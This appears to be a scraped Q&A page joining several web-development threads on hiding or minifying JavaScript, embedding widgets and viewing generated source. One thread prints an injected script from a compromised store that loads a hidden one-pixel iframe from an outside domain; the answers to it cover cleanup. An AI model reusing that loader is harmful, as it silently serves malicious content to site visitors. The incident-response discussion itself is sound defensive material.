There's an animation done in jQuery within jsfiddle. I do not have a website as of now to "implant" it and share the URL.
I also can't give the jsfiddle. So how can I share my animation to the audience without showing the code? Does github or any other facility tools allow locking the code and showing the final product without having a website, yet I could get a URL for the audience to view it?
I regret for the rookie-question in this context as I am still new to web stuff.
EDIT:
jsFiddle shows 3 code windows along the results :html, css, js. My requirement is to only show the results window to the audience and by all means to hide codes and leads via URL to the codes.
Ideal solution demands a results to be shown and URL that is encrypted (at best).
If I understand your question you could try the following:
Copy your jsfiddle text to a single index.html file (use script tag for js and style tag for css)
Install node.js on your development computer
Install a tool to obfuscate your file (e.g. npm install -g munch)
Obfuscate your file (see instructions https://www.npmjs.org/package/munch)
Host your file somewhere (could be a github project page with a repository containing only the obfuscated file - although its not really the point of github).
Send url to audience
Someone could still reverse engineer your animation but it would take a lot of effort and would probably be easier to write from scratch.
However, perhaps you would be better off doing a screen cast and sharing a youtube link.
The thing you're asking for is simply not possible.
JavaScript is a client-side scripting language and is interpreted by the browser of the viewer of your animation. This means that, by the nature of the language, the viewer needs the code loaded in his/her browser to view your animation.
More in-depth information can be found here: http://computer.howstuffworks.com/javascript.htm
The only way you could achieve your goal is by screen capturing the animation, but that would, of course, only work with static animations.
Now that you've clarified your question, we can give you an actual answer.
Click the Share button in jsFiddle's toolbar (after saving your fiddle) to get a link to the result only.
If you don't want users to see your code do this in your html code:
<body oncontextmenu="return false;">
Related
I have recently taken an interest in software development. I have gotten pretty good by looking at source code, and visiting stack overflow regularly. I have since taken a liking to web applications due to their scalability. Because of this, I wanted to look at the source code of Facebook and Google in a web browser by clicking "View Source".
Funnily enough, clicking "View Source" on Google and Facebook does NOT show HTML Markup, but a full page of minified Javascript (at least i think its JS) instead. I have attached a screen shot to show what I mean. How does this work? From what I have learnt along the way, a browser requires HTML to display content. My Assumption is that large companies do this to protect their source. But how does a browser know what to display? And if a browser can display these sites properly, from what source code is it reading from?
I have tried to google this, but search terms such as "cant view Facebook source" or "Cant view Google Source" show me a bunch of un related results.
Is this a framework I have not heard of? Can anyone provide explanation on this. If these large companies are using these new methods, I would like to incorporate them into my own arsenal.
Screenshot of what is visible when you click "View Source" on the Google search results page:
You appear to not understand fundamentals of HTML and JavaScript and how they work together in a browser; consider this example from Wikipedia/JavaScript
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<button id="hellobutton">Hello</button>
<script>
document.getElementById('hellobutton').onclick = function() {
alert('Hello world!'); // Show a dialog
var myTextNode = document.createTextNode('Some new words.');
document.body.appendChild(myTextNode); // Append "Some new words" to the page
};
</script>
</body>
</html>
This is HTML markup with embedded JavaScript (you can embed CSS as well). What some people do, for various reasons, is minify the JavaScript to the point where almost everything that makes it human readable is removed -- of course the Javascript runtime (browser) doesn't care and will just as easily execute it regardless of whether it's minified or not.
HTML it self can be minified, but you can't really minify it anymore than removing line breaks, spaces and making it look like a single line without breaking the HTML's syntax/semantics like you can with JavaScript because HTML doesn't have variables.
Now consider the same example from Wikipedia, but minified (JavaScript and HTML)
<!DOCTYPE html><html> <head> <title>Example</title> </head> <body> <button id="hellobutton">Hello</button> <script>document.getElementById("hellobutton").onclick=function(){alert("Hello world!");var e=document.createTextNode("Some new words.");document.body.appendChild(e)};</script> </body></html>
Both are equally valid for the browser.
Additional Info
All the client side code needed to show you the website will always be visible to you. But recently, web developers have been inclined to use more and more JavaScript to add interactivity to their site or generate the HTML dynamically. The the latter case, you will often find that the 'View Source' page have nothing at all expect a script tag. You can use the Developer Tools on your browser to inspect this dynamically generated HTML, as well as inspect the various JavaScript scripts that have been loaded for that site.
Keep in mind, that developers can and will often minify their code making it difficult to view the JavaScript easily regardless of how you choose to inspect it.
Best place to see raw, unminified JavaScript if you're interested in on open source web projects on places like GitHub.
The webpage is html-rendered by using compiled source from javascript (Angular or Reactjs or Vue etc.) Using View source does not help in this case. You can right-click and choose Inspect element instead.
The mess of JavaScript that you're looking at is known as minification. Illegibility is indeed a by-product of minification, though the main purpose is to improve loading speeds. Because Facebook and Google are two of the most high-traffic websites in the world, they have to employ a umber of techniques in order to server up content faster.
Minification is performed using a Task Runner like Grunt or Gulp, and essentially does a few things:
Changes variables like useful_name into equally valid short variables like e.
Eliminates all whitespace.
Rewrites many functions into equal shorter functions.
For example:
var array = [];
for (var i = 0; i < 20; i++) {
array[i] = i;
}
Is equivalent to:
for(var a=[i=0];++i<20;a[i]=i);
Which obviously takes up much fewer bytes.
While the minification helps 'obfuscate' code, it does not improve security in the slightest, as the obfuscation can be completely decoded.
In addition to minification, it's also common practice to combine multiple different JavaScript or CSS files into one, using bundlers like Browserify, Brunch or webpack. Because of this, it can be quite difficult to work out what the code is really doing, though this can be aided by Prettyprinting the files by clicking on the {} icons in the bottom left of the relevant source.
Other common load-speed approaches include using Content Delivery Networks (CDNs), cutting down on HTTP requests, and using sprite mapping - all of which both of the above do in addition to their minification.
From what I have learnt along the way, a browser requires HTML to display content.
Check out this post about client side and server side rendering.
Google's front page actually is fully server-side rendered (all the HTML is present on "view source"), it just there's a lot of inlined Javascript before the page body and all of it is also minifed.
Facebook uses JavaScript much more heavily, most parts are written in React (their frontend framework), which is why you will barely see any plain HTML when inspecing Facebook's source. As Jun said, you are however able to inspect it with your browser's inspector after Javascript has rendered all of it.
My Assumption is that large companies do this to protect their source.
Not really, there's no "protecting" frontend code, it's just that client-side rendering has become much more popular and everybody minifies their source codes for bandwidth savings. On such a large scale (Facebook and Google), every saved byte counts. It might be harder to read, but nothing can actually be hidden or protected as, like you said, browsers need to render and execute the code client-side.
I just did a proof of concept/demo for a web app idea I had but that idea needs to be embedded on pages to work properly.
I'm now done with the development of the demo but now I have to tweak it so it works within a tag on any websites.
The question here is:
How do I achieve this without breaking up the main website's stylesheets and javascript?
It's a node.js/socket.io/angularjs/bootstrap based app for your information.
I basically have a small HTML file, a few css and js files and that's all. Any idea or suggestions?
If all you have is a script tag, and you want to inject UI/HTML/etc. into the host page, that means that an iframe approach may not be what you want (although you could possibly do a hybrid approach). So, there are a number of things that you'd need to do.
For one, I'd suggest you look into the general concept of a bookmarklet. While it's not exactly what you want, it's very similar. The problems of creating a bookmarklet will be very similar:
You'll need to isolate your JavaScript dependencies. For example, you can't load a version of a library that breaks the host page. jQuery for example, can be loaded without it taking over the $ symbol globally. But, not all libraries support that.
Any styles you use would also need to be carefully managed so as to not cause issues on the host page. You can load styles dynamically, but loading something like Bootstrap is likely going to cause problems on most pages that aren't using the exact same version you need.
You'll want your core Javascript file to load quickly and do as much async work as possible as to not affect the overall page load time (unless your functionality is necessary). You'll want to review content like this from Steve Souders.
You could load your UI via a web service or you could construct it locally.
If you don't want to use JSONP style requests, you'll need to investigate enabling CORS.
You could use an iframe and PostMessage to show some UI without needing to do complex wrapping/remapping of the various application dependencies that you have. PostMessage would allow you to send messages to tell the listening iFrame "what to do" at any given point, while the code that is running in the host page could move/manipulate the iframe into position. A number of popular embedded APIs have used this technique over the years. I think DropBox was using it for example.
i came across a js library (jsMovie) and wanted to see the example files, but it is really badly documented (usage), so i tried to download the authors page to look in the source-code. But when trying to do that, I've recognized that "view-source" wasn't giving the full code (almost 80% of the code did not appear). (Tried in Chrome, Firefox)
So my question is, how can this be? Firebug is displaying everything propperly. At this moment i thought, that this could be as well a good way to prevent kiddies from ripping sites.
here the page: http://konsultaner.de/entwickler#Konsultaner
Hints are welcome
Generate the current source code, as interpreted by the browser. This can be done using an XMLSerializer on document.
var generatedSource = new XMLSerializer().serializeToString(document);
From there, if you want to open a page just showing the source, you could do
window.open('data:text/plain,'+encodeURIComponent(generatedSource), '_blank');
They are using AngularJS, a front-end javascript framework. That means almost all parts of the page are generated dynamically using javascript. Therefore, you can't see the page without javascript running (using view-source), but you can see the generated HTML via inspector.
If it is a static website (the javascripts and templates are all there), you can still 'rip' it. But not if it is a dynamic website, since all data and logic are 'fed' by the server.
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
My client called me today, telling me that some features in the backend suddenly stopped working. After taking a quick look, I saw that the website contained malicious code below the last html tag.. This is the code:
<script type="text/javascript">
(function () {
var zg = document.createElement('iframe');
zg.src = 'http://impactrl.de/chat/esd.php';
zg.style.position = 'absolute';
zg.style.border = '0'; zg.style.height = '1px';
zg.style.width = '1px'; zg.style.left = '1px';
zg.style.top = '1px';
if (!document.getElementById('zg')) {
document.write('<div id=\'zg\'></div>');
document.getElementById('zg').appendChild(zg);
}})();
</script>
My client also told me he downloaded some software that allowed him to run his store from his desktop. My bet is that this is the problem.
However, I would like to get rid of that piece of code, but I cannot find it in any file. Its on all the backend AND frontend pages.
Does anyone know in what file I have to look ?
This is a prime example of why you frequently and always back up your website's code base and database. In reality, if you don't know where the code's coming from, you don't also know if there have been multiple insertion points and other stuff messed with. Change all login and access credentials (ssh, ftp, mysql, cPanel, the computer used for maintenance (good site cracks start at home, scan for malware), wipe the system down and reinstall.
Setting that aside as 100% hindsight and if you're looking for where this is coming from:
First step is to grep (man grep at your ssh prompt for instructions on using grep) your code base (basically any text file, not just Magento's, anything can be included from anywhere on the server) . You have to look not only for strings found in the exploit but also for signs of inserted obfusticated code as most site crackers want a bit longer life on the code staying around. The less obvious and easy to find, the better.
Second step is to diff against a fresh code base if this site is close to stock, you can install in a separate folder a fresh unzip of the Magento version you're running and then do a diff on the main directories between the live install and the fresh code base to look for all files that are different. Inchoo has an article on using grep to look for code diferences. Basic command to work with is diff -qrbB contaminated\code\location fresh\code\location Also diff against older stored copies of your custom template.
Third step is to consider that it might not be in any template file. You're either looking at a compromised login where someone has used the backend to put code in one of several page configuration text areas meant for code inclusion, added a CMS block and then a reference to it, got it into the system through a drive-by code insertion, got something inserted into the database for an XSS code include from another website or if you've got an external exposed port to MySQL, has the database login credentials and can insert anything at will. Doing a database dump and greping the SQL code for strings is once again another tool to find these.
This stinks of a much larger problem. If you've found unknown code in your website that pulls resources from an unknown server, you have a security problem. A security problem is bad enough news, but it's a completely unacceptable situation on a site that's doing ecommerce.
The only safe thing to do at this point is wipe your server and install from scratch. Make sure you use an up-to-date and fully patched OS, Apache, PHP, and Magento install.
If you have backups (I hope you do), a good place to start might be a backup from before anything went amiss. Take your server offline, restore the backup, then update all your components to the most recent versions. Only then is it safe to take the server back online.
Had exactly the same issue on a client's page and it was infected with JS/BlacoleRef.F.3.
I am also not using Magento, so I guess the problem is not linked with it. So I just restored the corrupted HTML files and it apparently worked for now.
You should definately find a way to prevent it from being inserted into the DOM! In Chrome you have a nice Resource overview in the Inspector.
For safety sake, you could check for other iframes in your pages, and add in some common.css #zg{ display: none; }. Or,
If you have multipe iFrames you can use JS and use document.getElementsByTagName("IFRAME") and loop through them, and remove the one that has the specified src value.
Update:
Chrome verifies that this is added in every JS file. I interprete that as it is send from the server with this. I dont believe it is JS related.
This question already has answers here:
How do I hide javascript code in a webpage?
(12 answers)
Closed 8 years ago.
How do I hide my javascript/jquery scripts from html page (from view source on right click)? please give suggestion to achive this .
Thanks.
You can't hide the code, JavaScript is interpreted on the browser. The browser must parse and execute the code.
You may want to obfuscate/minify your code.
Recommended resources:
CompressorRater
YUI Compressor
JSMin
Keep in mind, the goal of JavaScript minification reduce the code download size by removing comments and unnecessary whitespaces from your code, obfuscation also makes minification, but identifier names are changed, making your code much more harder to understand, but at the end obfuscation gives you only a false illusion of privacy.
Your best bet is to either immediately delete the script tags after the dom tree is loaded, or dynamically create the script tag in your javascript.
Either way, if someone wants to use the Web developer tool or Firebug they will still see the javascript. If it is in the browser it will be seen.
One advantage of dynamically creating the script tag you will not load the javascript if javascript is turned off.
If I turned off the javascript I could still see all in the html, as you won't have been able to delete the script tags.
Update: If you put in <script src='...' /> then you won't see the javascript but you do see the javascript file url, so it is just a matter of pasting that into the address bar and you d/l the javascript. If you dynamically delete the script tags it will still be in the View Source source, but not in firebug's html source, and if you dynamically create the tag then firebug can see it but not in View Source.
Unfortunately, as I mentioned Firebug can always see the javascript, so it isn't hidden from there.
The only one I haven't tried, so I don't know what would happen is if you d/l the javascript as an ajax call and then 'exec' is used on that, to run it. I don't know if that would show up anywhere.
It's virtually impossible. If someone want's your source, and you include it in a page, they will get it.
You can try trapping right click and all sorts of other hokey ways, but in the end if you are running it, anyone with Firefox and a 100k download (firebug) can look at it.
You can't, sorry. No matter what you do, even if you could keep people from being able to view source, users can alway use curl or any similar tool to access the JavaScript manually.
Try a JavaScript minifier or obfuscator if you want to make it harder for people to read your code. A minifier is a good idea anyhow, since it will make your download smaller and your page load faster. An obfuscator might provide a little bit more obfuscation, but probably isn't worth it in the end.
Firebug can show obfuscation, and curl can get removed dom elements, while checking referrers can be faked.
The morale? Why try to even hide javascript? Include a short copyright notice and author information. If you want to hide it so an, say, authentication system cannot be hacked, consider strengthening the server-side so there are no open holes in server that are closed merely though javascript. Headers, and requests can easily be faked through curl or other tools.
If you really want to hide the javascript... don't use javascript. Use a complied langage of sorts (java applets, flash, activex) etc. (I wouldn't do this though, because it is not a very good option compared to native javascript).
Not possible.
If you just want to hide you business logic from user and not the manipulation of html controls of client side than you can use server side programming with ajax.